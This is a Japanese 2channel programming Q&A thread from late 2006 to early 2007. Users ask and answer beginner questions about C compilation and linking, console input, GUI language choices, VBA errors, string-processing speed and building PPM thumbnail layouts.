すれ立てるまでもない質問はここで 第80刷

このエントリーをはてなブックマークに追加
1デフォルトの名無しさん
質問する前にGoogleで検索しましょう。
プログラム・ソフトの使い方は PC 初心者板やソフトウェア板へ。
ウイルス、ハッキング・クラッキングを求めるような発言は禁止です。
Javascript は Web 制作板、CGI は Web プログラミング板へ。
業界談義、愚痴はプログラマ板へどうぞ。
ゲーム関係の話題はゲーム製作板へどうぞ。

前スレ
すれ立てるまでもない質問はここで 第79刷
http://pc8.2ch.net/test/read.cgi/tech/1160751859/l50
2デフォルトの名無しさん:2006/12/25(月) 17:54:51
■ 関連板
・ パソコン初心者 : http://pc2.2ch.net/pcqa/
・ ソフトウェア : http://pc7.2ch.net/software/
・ Web制作 : http://pc8.2ch.net/hp/
・ Webプログラミング : http://pc8.2ch.net/php/
・ プログラマー : http://pc8.2ch.net/prog/
・ ゲーム製作技術 : http://pc8.2ch.net/gamedev/
・ データベース : http://pc8.2ch.net/db/
3デフォルトの名無しさん:2006/12/25(月) 18:04:53
お疲れ様
4デフォルトの名無しさん:2006/12/25(月) 18:30:12
前すれからきました。学校でプログラムの授業があるので
プログラムを作る練習をしたいのですが、学校はMac家はwindowsなんですが
windowsでも無料でプログラムを書けるソフトはないでしょうか?
書きながら色がかわるものがいいです。
5デフォルトの名無しさん:2006/12/25(月) 18:33:06
>>4
Macで使ってるソフト名は?
6デフォルトの名無しさん:2006/12/25(月) 18:47:11
emacsです。
これってソフト名なのかな?・・・
7デフォルトの名無しさん:2006/12/25(月) 18:58:11
winならxyzzyでいいんじゃね
8あいうえお:2006/12/25(月) 19:11:00
最小化をできないようにするソフトを無視するソフトって存在しますか?
教えてください。
9デフォルトの名無しさん:2006/12/25(月) 19:14:56
10デフォルトの名無しさん:2006/12/25(月) 19:15:50
11デフォルトの名無しさん:2006/12/25(月) 20:20:49
gccでコンパイルできるけどg++でコンパイル通らないソースコードの関数(CLAPACK)と
g++でコンパイルできるけどgccでコンパイル通らないソースコードの関数(OpenCV)を
両方使ってプログラムが書きたいのですが、どうやってコンパイルしたらいいのでしょう?
12デフォルトの名無しさん:2006/12/25(月) 20:24:59
CLAPACKはgccでコンパイルし、OpenCVはg++でコンパイルする。
1311:2006/12/25(月) 20:36:57
CLAPACKの関数とOpenCVの関数を両方使っているプログラムは
どうやってコンパイルするのですか?
CLAPACKの関数を使う部分とOpenCVの関数を使っている部分で
プログラムを分割( 違うファイルにする )して、それぞれ gcc, g++で
コンパイルして、後でリンクするということが可能なのでしょうか?

いま、試しに test1.c と test2.c を作って
( test1.c では test2.cの中の関数を呼んでいる )
gcc -c test1.c
g++ -c test2.c
g++ test1.o test2.o とやったらダメだったんですが
何かおかしいですか?
14デフォルトの名無しさん:2006/12/25(月) 21:36:24
>>13
ld
15デフォルトの名無しさん:2006/12/25(月) 23:14:53
win95のデモインストーラみたいに、
キーボードから1文字だけ入力を受け取る関数ってどこの洞窟に隠れてますか?
16デフォルトの名無しさん:2006/12/25(月) 23:22:48
GNUのGってなんですか
17デフォルトの名無しさん:2006/12/25(月) 23:26:54
>>16
GNUのG
18デフォルトの名無しさん:2006/12/25(月) 23:32:58
GNUのGのGってなんですか
19デフォルトの名無しさん:2006/12/25(月) 23:36:33
>>18
GNUのG
20デフォルトの名無しさん:2006/12/25(月) 23:39:25
>>15
conio.h
21デフォルトの名無しさん:2006/12/26(火) 00:11:34
>>20
arigatougozaimasu
22デフォルトの名無しさん:2006/12/26(火) 00:14:10
UNIXを逆さにすると
XINU
そこでXIを発音するとG
つまりGNU
23デフォルトの名無しさん:2006/12/26(火) 00:18:33
" XINU Is Not Unix. "
24デフォルトの名無しさん:2006/12/26(火) 00:34:12
>>15
GetKeyState
25デフォルトの名無しさん:2006/12/26(火) 04:02:36
>>15
kbhit()
26デフォルトの名無しさん:2006/12/26(火) 07:04:15
>16
元は確かGにも意味があったと思うが
UNIXとのいざこざ以降
GNU は Gnu is Not Unix の略になって
Gの意味は消えたんじゃなかったかな
27デフォルトの名無しさん:2006/12/26(火) 10:06:42
>>26
空気の読めない人ですね
28デフォルトの名無しさん:2006/12/26(火) 10:32:06
くうき
29デフォルトの名無しさん:2006/12/26(火) 12:30:22
ちょっと気に入らない流れになると
ありもしない空気を登場させる人
30デフォルトの名無しさん:2006/12/26(火) 12:55:33
getsが古い形式として宣言されました
getsの宣言を確認してください
とでたのですがwindowsではgetsは使えないのでしょうか?
macではこのプログラムは普通にコンパイルができたのですが・・・
31デフォルトの名無しさん:2006/12/26(火) 13:04:31
使えないとは書いてないでしょ。
32デフォルトの名無しさん:2006/12/26(火) 13:11:05
セキュリティ的に問題があるからgetsとかstrcpyとかは使うなって警告が出てるだけ。
3330:2006/12/26(火) 13:17:31
なるほど!
でもそのプログラムを実行しようとしてエンターキーを押したら実行しないまま
ウインドウが閉じてしまうんですが・・・
34デフォルトの名無しさん:2006/12/26(火) 13:20:49
C++でマルチスレッドなプログラムを書いています
スレッド間で共有する変数に対してmutexで排他制御をしているのですが
共有する変数が増えてくるとちゃんと排他制御できているかどうかを
コードだけを見てチェックすることが難しくなってきました
ちゃんと排他制御ができていることをテストする有効な方法を教えてください
35デフォルトの名無しさん:2006/12/26(火) 14:51:24
>>33
mainから抜ける直前にsystem("pause");とかしておけ
36デフォルトの名無しさん:2006/12/26(火) 14:52:24
Cってなんで1パスコンパイラでも
goto shine;
....
....
shine:
なんてのが通るんですか
37デフォルトの名無しさん:2006/12/26(火) 15:52:27
>>36
アセンブラでいう1パスと違って、全く前方参照しないわけではないから。
38デフォルトの名無しさん:2006/12/26(火) 19:18:21
>>34
ちゃんと排他制御ができていることをテストするプログラムを書く
39デフォルトの名無しさん:2006/12/26(火) 21:25:54
C/C++のコンパイルをするときに、

ld: Undefined Symbols
Symbol1
Symbol2
...

って出るものに対してはどう対処すればいいのでしょうか?
40デフォルトの名無しさん:2006/12/26(火) 22:24:38
>>39
ライブラリなりオブジェクトファイルなりを指定してやる。
関数名の書き間違いがないか調べる。
41デフォルトの名無しさん:2006/12/26(火) 22:42:49
GUIのプログラムを作成したいと思ってるのですが、
今やるならどの言語でやるといいですか?
今できるのはCのみです
Javaも勉強したことはあるのですがすっかり忘れました
ぜひオススメをお願い致します
42デフォルトの名無しさん:2006/12/26(火) 22:45:05
>>41
Rubyが一番
43デフォルトの名無しさん:2006/12/26(火) 22:57:52
>>41
C#がいいと思う。
Visual C# Expressが無料だから試してみて。
GUIプログラム作るのが簡単。
44デフォルトの名無しさん:2006/12/26(火) 23:06:02
>>42
全く新しい言語を覚えるのは難しそうなので
>>43
試してみます
45デフォルトの名無しさん:2006/12/27(水) 00:26:54
ようつべの動画(FLV)保存ソフトを製作しているのですが、
どこにGETリクエスト投げればFLVの在り処が返ってくるのでしょうか?

トップページに
/watch_video〜〜〜
とリクエスト送信したのですが、SWFのページが帰ってきてしまうようで困っています
46デフォルトの名無しさん:2006/12/27(水) 01:15:07
恐れ入ります。
Delphiに統合可能な開発支援ツール「GExperts」の
「Code Librarian」のような、
生産したソースコードやアルゴリズム説明文書などを体系的に
保管・管理する一種の"ライブラリアン"ソフトで
言語に依存しないものを探している者なのですが、
どなたかご存知のものがありましたら教えて頂けませんでしょうか?
4744:2006/12/27(水) 03:22:59
これ面白いですねぇ
あまりCを知ってるとか今のところはあまり関係を感じません
はまりそうです
48デフォルトの名無しさん:2006/12/27(水) 05:07:17
C#はCの進化版じゃなくて
言語コンプレックスを持ってるVBユーザーのために
VBを改名したものだからなぁ
49デフォルトの名無しさん:2006/12/27(水) 10:17:36
そうなのか。
C++がわかればなんとかなるJava かと思ってた
50デフォルトの名無しさん:2006/12/27(水) 10:52:06
むしろ簡単なGUIなら
C+Win32APIでいいんじゃないかと。
51デフォルトの名無しさん:2006/12/27(水) 11:25:10
>>50
禿堂
52デフォルトの名無しさん:2006/12/27(水) 11:48:27
開発効率は知らないけど修得はC#のほうが早いでしょ
53デフォルトの名無しさん:2006/12/27(水) 13:21:16
C++多少知ってるならTurboC++Explorerのほうが早くね?
54デフォルトの名無しさん:2006/12/27(水) 17:20:38
>>48
アホ
55デフォルトの名無しさん:2006/12/27(水) 23:17:54
文字列処理が得意で、プログラミング初心者も学びやすい言語って、
Perl、Rubyくらいですか?
56デフォルトの名無しさん:2006/12/27(水) 23:28:37
Delphi
57デフォルトの名無しさん:2006/12/27(水) 23:54:18
>>55
C#がお勧め。
58デフォルトの名無しさん:2006/12/28(木) 00:10:09
初心者がいきなりPerlはやめて
59デフォルトの名無しさん:2006/12/28(木) 02:15:30
void f(){
goto FuckingCpp;
FuckingCpp://ここでエラー
}

void f(){
goto FuckingCpp;
FuckingCpp:;//切ない
}
60デフォルトの名無しさん:2006/12/28(木) 12:33:28
enumにタグ名を付けていないもの
例:enum{SUN,MON,TUE,WED,THU,FRI,SAT};
は、どうやって使用するのですか?

ググっても、enumの説明はタグ名を付けたものしか載っていなくて…
よろしくお願いします。
61デフォルトの名無しさん:2006/12/28(木) 13:07:03
すいません。初めての書き込みです。プログラム初心者、というか何も勉強していないのですが、
このような問題を解決しなければならなくなってしまいました。どうか教えてください。課題を教えてくださるスレッド(?)が書き込みできなくなっていたので、
こちらに書き込ませていただきました。
【質問テンプレ】
[1] 授業単元:基礎情報処理
[2] 問題文:縦100横100のマス目(点)に分けられた紙の各点が、白と黒に塗り分けられたものを考える。この中に、下にある様な黒い点で囲まれた図形が1つだけある。図形は必ず、黒い点で囲まれており、
内部は白い点で埋め尽くされている。この「囲まれている」とは、各黒い点の上下左右および8つの点のどれかが黒い点となっているものと考えよう。
□□□□□□□□□□
□□■■■■■■□□
□■□□□□■□□□
□□■□□□□■□□
□□■□□□□■□□
□□■■■■■■□□
□□□□□□□□□□
□□□□□□□□□□
□□□□□□□□□□
□□□□□□□□□□
この図形は整数値の2次元配列(例えばC言語ならa[y,x])で表されている。x軸は左から右、y軸は上からしたとするので、a[1,1]は一番左上の点になる。この配列はプログラムに入る前に何らかの方法で、白い点は0、黒い点は1になっているものとする。
さて、図形の面積、つまり黒い点で囲まれた内部の「白い点」の数を数えるプログラムを考えよう。ただし図形は必ず紙の上に1つだけ存在し、また必ず紙の端から点1つ以上ずつ少し離れた位置にあるとする(つまり黒い点は紙の上下左右の端には存在しない)。
[3] 環境
 [3.1] OS:Windows XP
 [3.2] コンパイラ名とバージョン: すみません、よくわかりません
 [3.3] 言語: なんでもかまいません。
[4] 期限: 2007年1月5日0時まで
[5] その他の制限:まだ何も習っていません。具体的に回答を提示してくれると助かります。
62デフォルトの名無しさん:2006/12/28(木) 13:22:11
おぉーマルチだな。
63デフォルトの名無しさん:2006/12/28(木) 15:40:22
>>61
簡単だからちょっと勉強したら出来るよ
64デフォルトの名無しさん:2006/12/28(木) 17:03:50
サブルーチンの中にサブルーチンを書くのはどうでしょうか?
というのも指導教官に「それはよくない。美しくない」と指摘されたのですが、
実用性を重視するなら、ありといえばありですよね?
みなさんが直面された重要な困難があれば教えて欲しいです。
65デフォルトの名無しさん:2006/12/28(木) 17:12:40
おぉーマルチだな。
66デフォルトの名無しさん:2006/12/28(木) 18:38:48
サブルーチンの中にサブルーチンを書ける言語って何があったっけ?
Pascal系だけ?
67デフォルトの名無しさん:2006/12/28(木) 19:38:12
Ruby
68デフォルトの名無しさん:2006/12/28(木) 19:53:03
アセンブリィ
69デフォルトの名無しさん:2006/12/28(木) 20:44:53
>>60
#deinfe (C)やconstな整数型 (C++)のように単なる定数として使う。
70デフォルトの名無しさん:2006/12/29(金) 01:31:58
>>56
>>57
C#とDelphiって文字列処理が得意なんですか。
初めて知りました。
>>58
おk
71デフォルトの名無しさん:2006/12/29(金) 01:55:49
>>70
Cも文字列処理得意だお
72デフォルトの名無しさん:2006/12/29(金) 01:57:50
まあ、Cに文字列なんてないがな。
73デフォルトの名無しさん:2006/12/29(金) 06:58:34
物理シミュレーションでは、球体などが転がっているときと、
床面の近くでバウンドしているだけの状態は普通区別するんですか?
74デフォルトの名無しさん:2006/12/29(金) 11:37:38
Xerces-C で SAX2 使ってるんですが、

void characters(const XMLCh *const chars,
const unsigned int length
);

あたりに報告されるタグ内のテキストが実態参照文字を含んでる場合に、
その文字で区切られ複数回コールされてしまい、困っております。

実態参照文字を含むテキストでも、1回のコールで全文字列を取得できるメンバー関数、
もしくは void characters ... で実態参照文字に特別な意味を持たせないようにする設定方法
をご存知でしたら教えてください。
75デフォルトの名無しさん:2006/12/29(金) 21:35:50
VCとかでデバッグビルドすると
@ILT+0(_GetEnvironmentStrings@0):
00411005 E9 76 DD 01 00   jmp         GetEnvironmentStrings (42ED80h)
@ILT+5(_strcspn):
0041100A E9 11 4C 01 00   jmp         strcspn (425C20h)
@ILT+10(__snprintf):
・・・
・・・
みたいな感じでcall先がjmpで、jmp先が本物の関数というようにコンパイルされてるのですが
このjmp表の正式名とかってあるのでしょうか?
あとILTが何の略か教えてください
76ww:2006/12/29(金) 21:36:34
77デフォルトの名無しさん:2006/12/29(金) 21:43:39
>>71
>>72
CでCGIつくるのってめっちゃ大変なんでしょ?
78デフォルトの名無しさん:2006/12/29(金) 22:03:02
>>77
どっからCGIが出てきたんだ?
79デフォルトの名無しさん:2006/12/29(金) 22:04:00
>>75
コールゲート
80386のアセンブラの本でも読んだらわかるよ
80デフォルトの名無しさん:2006/12/29(金) 22:27:37
>>78
「Perlとかは、文字列処理が得意だからCGI書くのに向いてる。
Cで書くのは大変」

みたいな話があるから、そこからの連想じゃね?
81デフォルトの名無しさん:2006/12/29(金) 22:49:22
>>77
Cで飯食ってりゃ手足のようなもんだ
82デフォルトの名無しさん:2006/12/30(土) 01:54:20
>>80
そう。
>>81
そりゃすげえ。俺もそうなりたいもんだ・・・
83デフォルトの名無しさん:2006/12/30(土) 05:26:48
じゃあCで掲示板かいてよ
あ、ライブラリはlibc以外使用禁止ね
84デフォルトの名無しさん:2006/12/30(土) 11:39:50
これはあれかな、本人的には「できないだろ?」というところへ
追い込んでるつもりのレスなのかなw

Cの経験が長い人って、大抵は手元にlibc以外使わずに書きためた便利コードを
山ほど溜めてるから(Cはそういう付き合い方をしてナンボの言語)、まぁ、余裕だろうねぇ。

「ライブラリ」と「これから自分が書くコード」にしか想像力が届かなかったのが見え見えの、
ちょっと幼稚なレスに見えるな、俺にはw
85デフォルトの名無しさん:2006/12/30(土) 17:45:26
>>77
セキュホになりやすいから鯖管にいやがられるだけだよ。
造ること自体は大変じゃない。
86デフォルトの名無しさん:2006/12/30(土) 19:06:24
>82
まぁ、CGIやりたいなら素直に
Perl/Python/Ruby か PHP にしとけ
87デフォルトの名無しさん:2006/12/30(土) 19:09:04
コンパイルが必要なのはレンタル鯖に不向きなんで
upしただけで動くのが好まれる。
あと他人の書いたスクリクトぱくって流用のパターンも多いか
88デフォルトの名無しさん:2006/12/30(土) 20:22:50
>>84 おまえのほうが用地にみえるはおれだけかw
89デフォルトの名無しさん:2006/12/30(土) 21:47:01
静的な言語に鯖運用は不向き?
90デフォルトの名無しさん:2006/12/30(土) 22:00:26
別にそんなことないだろ
91デフォルトの名無しさん:2006/12/31(日) 08:21:02
クライアント側にperl使うやつはあんまりないだろ
攻撃スクリプトとかは見かけるけど
92デフォルトの名無しさん:2006/12/31(日) 09:52:00
テキスト処理にはローカルで使うけど
これはクライアントとは言わないやね
スタンドアロンと言えば良いのか
93デフォルトの名無しさん :2006/12/31(日) 12:07:01
VBA初学者です。簡単なコードなのに実行できずエラーが出てしまいます。
みなさんの知恵をお借りできないでしょうか。

下記コードで、「RangeクラスのSelectメソッドが失敗しました」とのエラーが出ます。
コードの内容は、指定したワークシートのある範囲にある数値を消去する、というものです。
よろしくお願いします。


Sub DELETE()
'
' DELETE Macro

'ワークシート名「a」のデータ消去
Worksheets("a").Range("B6:K28,B33:K55,B60:K82").Select
Selection.ClearContents

'ワークシート「b」のデータ消去
Worksheets("b").Range("B6:K28,B33:K55,B60:K82").Select
Selection.ClearContents

End Sub
94デフォルトの名無しさん:2006/12/31(日) 12:21:14
それぐらいだったらExcelでマクロ記録して再現すればいい。
95デフォルトの名無しさん:2006/12/31(日) 14:52:29
Worksheets("a").Range("B6:K28").Select
Selection.ClearContents
Worksheets("a").Range("B33:K55").Select
Selection.ClearContents
Worksheets("a").Range("B60:K82").Select
Selection.ClearContents
96デフォルトの名無しさん:2006/12/31(日) 17:18:36
文字列を検索して切り出すプログラム(日本語プログラム)
を組んだのですが、処理が遅いので別の言語で組もうと
思っています
コンパイラーがフリーソフトであるもので、
とにかく速くておすすめなのはないでしょうか
97デフォルトの名無しさん:2006/12/31(日) 17:23:39
C
98デフォルトの名無しさん:2006/12/31(日) 17:27:15
遅いのをいきなり言語のせいにされてもな
99デフォルトの名無しさん:2006/12/31(日) 17:39:24
>>98
組んだのがインタープリター型の言語で、文字列処理は速くない
とレスされたので、コンパイラーだったらもう少し速い
かなと思ったんですが
100デフォルトの名無しさん:2006/12/31(日) 17:41:32
2ちゃんねるで書き込みしたら名前のところに何も書いてないのに
IPアドレスが勝手に書き込んでありました。どうすればいいですか?
101デフォルトの名無しさん:2006/12/31(日) 17:50:54
110に電話して懺悔でもしといてください
102デフォルトの名無しさん:2006/12/31(日) 18:02:51
>>99
何の言語でどうやって組んだのか言ってもらわんと。
多分、根本的な解決はできないと思われ。

ネックになっている部分は把握しているのかの。
103デフォルトの名無しさん:2006/12/31(日) 18:05:39
C#でもVB.NETでもよいんだけど、
VS2005でほげほげウィザードみたいなフォームってどうやって作る?
基本としては
 ・戻る/次へがある
 ・戻った時にその時の情報を記憶されている
 ・同じウィンドウサイズ
 ・バナー
であると。
ベースのフォームがあって、
それを継承したいくつかのフォームがあって、
カレントのフォーム(状態)を記憶しておいて、
戻る/次へのタイミングで、必要なフォームを表示するって
感じになるのかなぁ ...とか思いつつ。
皆さんどうっすか?
もっと楽チンな方法ってあるの?
104デフォルトの名無しさん:2006/12/31(日) 18:19:34
>>102
”ひまわり”っていう日本語プログラムです
htmソースからキーワードを検索して、何文字か後にある
数字を切り出し、">""<"をくっつけて最後にタグ削除します

この動作を6000回くらいします
105デフォルトの名無しさん:2006/12/31(日) 18:20:06
>>103
適当にTabControlでもPanelでも貼り付けて切り替えればいいじゃない
106デフォルトの名無しさん:2006/12/31(日) 18:28:15
>>104
そんなものたぶんperlにやらせたって1秒もかからんでしょ
107デフォルトの名無しさん:2006/12/31(日) 18:33:18
>>106
そうですか。その本は本屋で立ち読みしたことありますが
いまいち解らなかったので
ではさしあたってそれを勉強して組んでみます
108デフォルトの名無しさん:2006/12/31(日) 19:24:40
>>105
TabControlってタブのでっぱり消さなかったと記憶。
んで、Panelって張り替えってできるの?
この時はこのフォーム、その時はそのフォームみたく。
...フォームって書いたけど、
ようは表示されているコントロールを全部置き換えることが
できるかどうかなんだけど...。
109デフォルトの名無しさん:2006/12/31(日) 19:28:19
>>108
Panelごと非表示
110デフォルトの名無しさん:2006/12/31(日) 20:27:54
>>100
一部デフォ名無しが「fusianasan」になってる板があるから名前欄に「山崎渉」とでも書いておけば?
111デフォルトの名無しさん:2006/12/31(日) 20:37:38
>110
ちょwwwその名前じゃ解決しねえwww
112デフォルトの名無しさん:2006/12/31(日) 21:32:40
>>104
おれは「ひまわり」のことはよく知らんが、
その手の処理ならC言語で書き直したところで対して変わらん気がする。
まずはアルゴリズムを見直すことをおすすめする。

んで、こっからはエスパー的な回答なんだが、もしかして一文字ずつ読み込んで文字のチェックをしてないか?
正規表現をうまく使えば、そんなに負荷はかからんと思うのだが。
(すでに使っていたのならすまん)
113デフォルトの名無しさん:2007/01/01(月) 05:08:27
>>112
おっとさらにレスが付くとは思いませんでした
キーワードが何文字目か返す関数があるんですよ

キーワードが一つのファイルに400くらいあって
一度検索したらそのキーワードを消して次のキーワードの文字数
を返すというやり方でやっています
114デフォルトの名無しさん:2007/01/01(月) 05:58:49
えーっと、質問があると学校の図書館いけとかって答えあるよな。
でも、おれ、もう大学卒業しちゃってんのよね。

職場もプログラムとか全然関係ないんだけど、趣味でプログラムしてたら
google先生ではどうしても判らないところが出てきた。

そんなおいらはどこに調べに行けばよい?
115デフォルトの名無しさん:2007/01/01(月) 07:22:25
>>113
バッファリングしてる?
116デフォルトの名無しさん:2007/01/01(月) 07:23:22
>>114
向いてないからあきらめろ
117デフォルトの名無しさん:2007/01/01(月) 08:18:30
>>114
就職してるなら本ぐらい買えるだろ
118デフォルトの名無しさん:2007/01/01(月) 08:45:31
>>115
>>112
ありがとうございます
つまりタグ削除の時に消したくないソースがあるのですが、
">"を”置換”という命令でキーワードと置き換えれば
えらく簡単にできる事にさっき気づきました

結構最初のプログラムも苦労して組んだのにな....
まあ気づいただけ今年はラッキーな年でしょう
119デフォルトの名無しさん:2007/01/01(月) 10:46:48
>>94,95
返信ありがとうございます。

マクロ記録したら、解決しました。

Worksheets("R").Range("B6:K28").Select
Selection.ClearContents
のように、シート.セル.Selectではエラーになりました。

けれども
Sheets("R").Select
Range("B6:K28").Select
Selection.ClearContents

のようにシートとセルをそれぞれ別に選択したら
エラーがなくなりました。

なぜこうなるのかわかりませんが、、
120デフォルトの名無しさん:2007/01/01(月) 14:42:11
Worksheets("R").Range("B6:K28,B30:K52").ClearContents
121デフォルトの名無しさん:2007/01/01(月) 21:10:32
VisualStudio .NET 2005ですが、
IE7だとプロジェクト作成のWizが動かないことってある?

ちなみに
C++>MFCスマートデバイスアプリケーション
を選択したら

このページのスクリプトでエラーが発生しました
ライン: 4034
文字: 3
エラー: オブジェクトがありません。
コード: 0
URL: file:///C:/Program%20Files/Microsoft%20Visual%20Studio%208/VC/VCWizards/SmartDeviceAppWiz/MFC/Application/html/1041/default.htm

てなかんじのエラーメッセージが出てきてWizが起動しません
誰か情報を知ってたら教えてくださいな
122デフォルトの名無しさん:2007/01/02(火) 01:28:53
浜口優や坂田利夫よりも賢いオマイラに質問。
VBAで、キーワードとしてのステートメントと、関数の違いって何?
それぞれ2、3個づつ例をあげてくださいませぬか。
123デフォルトの名無しさん:2007/01/02(火) 01:36:24
ゲームのパッド入力の同時押しを検出する方法についての質問です。

たとえばボタンAとBがあったとして、
同時押しを検出したいのですが、「AとBを同時に押している」という
条件式にすると、人間の手で操作しているためどうしてもAかBが先に
押されてしまい、そのボタンの効果が出てしまいます。

AがBが押されはじめた5フレーム後の状態を比較して初めて決める方法も考えたのですが、
こうすると操作にラグがでてしまいます。

色々調べてみたのですが、同時押しの検出について書かれたページが見当たりませんでした。
どのような方法が良いのでしょうか?
ご教示お願いします。
124デフォルトの名無しさん:2007/01/02(火) 01:37:42
あ、すいません。書き込み場所間違えました。向こうで再度質問しなおします。
125デフォルトの名無しさん:2007/01/02(火) 14:07:55
トラッカー総合スレとかないっすか?
mantisとかbugzillaとかdotprojectとかtrackとか
126デフォルトの名無しさん:2007/01/02(火) 14:27:36
【バグ管理】 BTS使ってる?【追跡゙】 2
http://pc10.2ch.net/test/read.cgi/tech/1163173901/l50
自己解決
127デフォルトの名無しさん:2007/01/02(火) 20:33:47
ここ数年、strutsを触っていないのですが、今度のシステムで採用することになりました。
struts1.1から現行の1.2になって大きく変わっているところはどういったところでしょうか?
128デフォルトの名無しさん:2007/01/02(火) 20:54:22
var=(varくく2)|var;
129デフォルトの名無しさん:2007/01/02(火) 21:04:10
すみません、過去スレ探したんですが見つからず。。。
makeの使い方がまとめてあるようなページってないでしょうか。
いくつか見つけは下のですが、いまいち情報量が足りなかったり、
逆に詳細に書かれすぎていて。
参考までに、皆さんが普段、
Makeを調べるあるいは使うときにどういうサイトを参考にしているか
おしえていただけないでしょうか。
130デフォルトの名無しさん:2007/01/02(火) 21:27:37
>>129
わがまますぎです
131デフォルトの名無しさん:2007/01/02(火) 21:45:42
LSIC86のマニュアル
132デフォルトの名無しさん:2007/01/02(火) 22:01:59
>>130
そうですよね。すみません、勉強します。
ありがとうございました。
133デフォルトの名無しさん:2007/01/03(水) 05:06:46
質問です。配列はリストの一種なのでしょうか?
134デフォルトの名無しさん:2007/01/03(水) 05:25:41
概ねそうです。
135デフォルトの名無しさん:2007/01/03(水) 05:42:53
あじがとう!
大好き!
136デフォルトの名無しさん:2007/01/03(水) 20:57:10
ビットマップの仕様についてなのですが、
ビットマップの中身をバイナリエディタ等で開いた場合、
ヘッダなどの頭部分(54バイト)を飛ばしたら、あとは最後までRGB(A)の羅列だけなのでしょうか?(実際にはBGRですが…)
詳しい方、ご教授をお願いします!
137デフォルトの名無しさん:2007/01/03(水) 20:59:07
>>136
ちゃんとした仕様を見てください。
138デフォルトの名無しさん:2007/01/03(水) 20:59:49
strutsでWebサーバにtomcatを使用しています。
その場合、データソースの設定はserver.xmlに書くのでしょうか?
139デフォルトの名無しさん:2007/01/03(水) 21:00:55
質問させていただきます.
ppm方式の画像のサムネイルリストのアルゴリズムが載ってるサイトなど
ご存知なかたはおられませんか?
冬季休業の課題で手詰まりになっております.
どなたか御口授ください.
140デフォルトの名無しさん:2007/01/03(水) 21:05:33
ご教授?御口授?
141デフォルトの名無しさん:2007/01/03(水) 21:07:28
>>140
教授でした...orz
142デフォルトの名無しさん:2007/01/03(水) 21:08:11
>>140
教授でした...orz
143デフォルトの名無しさん:2007/01/03(水) 21:09:13
“教示”
144デフォルトの名無しさん:2007/01/03(水) 21:10:10
>>143
スイマセン...
145デフォルトの名無しさん:2007/01/03(水) 21:12:24
“すみません”
146デフォルトの名無しさん:2007/01/03(水) 21:17:22
>>138
ネット関連の板で聞いたほうがいいのでは

>>139
どの部分がわからないのかさっぱり伝わってきません
147139:2007/01/03(水) 21:22:55
>>146
背景画像を用意してそれに乗っける形で表示したい画像を載せるべきか,
はたまたある程度の領域を確保して背景画像と表示したい画像を同時に
描画するべきかというのを考えるとどちらのほうがアルゴリズム的には
楽なのか...と最初に考えたのですが両方ともいい感じのアルゴリズムが
考えられなくて,もしかしたらもっと簡単なアルゴリズムがあるのではないか
と考えたのですが...

このような形で私の言いたいことは伝わりますでしょうか?
148デフォルトの名無しさん:2007/01/03(水) 21:29:30
>>147
全然。
ターゲットのOSも言語も規模もわからないし。
エスパーの端くれとして予想はできるけど、外した答え書くのも馬鹿らしいし。
特定の言語で作るならその言語のスレか、画像処理のスレへ。
149139:2007/01/03(水) 21:33:35
アルゴリズムにOS等は関係してくるのですか...
言語はcで480x250のppm画像を五枚ほど,
背景画像を準備した上でその上に並べて(並べ方は任意)
またサムネイルをppm画像化するといったプログラムなのですが...

おとなしくcスレいったほうがよろしいですかね...
150デフォルトの名無しさん:2007/01/03(水) 21:35:27
>>136
ヘッダは54バイトとは限らない。
ヘッダより後も無圧縮とは限らない。
JPEGやPNGが含まれてることもある。
151デフォルトの名無しさん:2007/01/03(水) 21:37:14
表示をしたいのか、画像を作るだけでいいのか、で違うし
画像処理用のライブラリを使うのかどうかなど

やりとりがめんどくさくなったなあ
152139:2007/01/03(水) 21:39:16
>>151
とりあえず画像さえ作れば表示プログラムは作ってあるのでサムネイル画像の
作り方を教示していただければなぁと...
できれば処理ライブラリなどは使わずに作成したいと思うのですが.
153デフォルトの名無しさん:2007/01/03(水) 21:44:29
>>152
背景と画像の重ねくらいはできるだろうから、あとは縮小か?
どんなリサイズの方法を想定?速度?画質?

って、一つの話で何個も疑問点が出てくるから、ライブラリ使ってくれよ
154デフォルトの名無しさん:2007/01/03(水) 21:45:06
>>152
ボケか。

ppmの読み方書き方もピクスマップの縮小アルゴリズムもググればすぐに出てくるだろうが
155デフォルトの名無しさん:2007/01/03(水) 21:48:08
日本語、質問の仕方、物事の調べ方etc.
丁寧に教えてやって、みんな優しいな。
156139:2007/01/03(水) 21:48:53
>>153
縮小方法などは実際わかっているんですが...
じつは背景と画像を重ねる方法がよくわからないんです.

>>154
ppm読み書きも縮小プログラムも作ったのですが如何せん
背景画像と各々のppmをひとつのppmにするアルゴリズムが思いつかなくて...
157デフォルトの名無しさん:2007/01/03(水) 21:51:33
139〜156まで、無駄に終わったってわけだ
どうして最初にそれが言えないんだろうな
158デフォルトの名無しさん:2007/01/03(水) 21:52:07
>>156
ここまでの自分の書き込みを読み返してみろよ。
どうしたらそういう結論になるよ。
159139:2007/01/03(水) 21:53:55
>>157-158

...川orz
もうすみませんとしかいえないです...
160デフォルトの名無しさん:2007/01/03(水) 21:57:31
>>159
最後に
真面目に聞いているなら顔文字だのAAだのやめろ
非常に不愉快だ
161139:2007/01/03(水) 22:01:56
>>160
大変失礼致しました.
162デフォルトの名無しさん:2007/01/03(水) 22:02:44
普通にメモリに読み込んでコピーすればいいだけだろ。どこに難しいことがある。
163139:2007/01/03(水) 22:05:18
>>162
先ほどサイズをあげたのですが実はあれ以内の画像ということでサイズが
小さいやつもありまして,
そうすると画像をきれいに陳列できなくて困っています.

言葉足らずで本当に申し訳ございません.
164デフォルトの名無しさん:2007/01/03(水) 22:08:43
>>163
「きれいに陳列できる」ってどういう意味よ
165デフォルトの名無しさん:2007/01/03(水) 22:11:23
正月だからだぞ、こんなにつきあってるのは
>>163
だから、きれいにってどんな状態なんだよ、今。
どううまくいってないんだよ。
163の文面からだと背景と画像の重ねはできてるんだよな?

正月から釣られたよ
166139:2007/01/03(水) 22:16:14
>>164
□□□□□□□□□□□□□□□□
□■■□□■■■■■□□■□□□
□■■□□■■■■■□□■□□□
□□□□□□□□□□□□□□□□
□■□□■■□□■■■□□□□□
□■□□■■□□■■■□□□□□
□□□□□□□□□□□□□□□□
というふうではなく

□□□□□□□□□□□□□□□□
□■■□□■■■■■□□■□□□
□■■□□■■■■■□□■□□□
□□□□□□□□□□□□□□□□
□■□□□■■□□□□□■■■□
□■□□□■■□□□□□■■■□
□□□□□□□□□□□□□□□□

といった左端揃えのサムネイルを作成したいのです.
167139:2007/01/03(水) 22:20:12
>>168
大変ご迷惑おかけします.
背景画像の書き出しの際に同期して
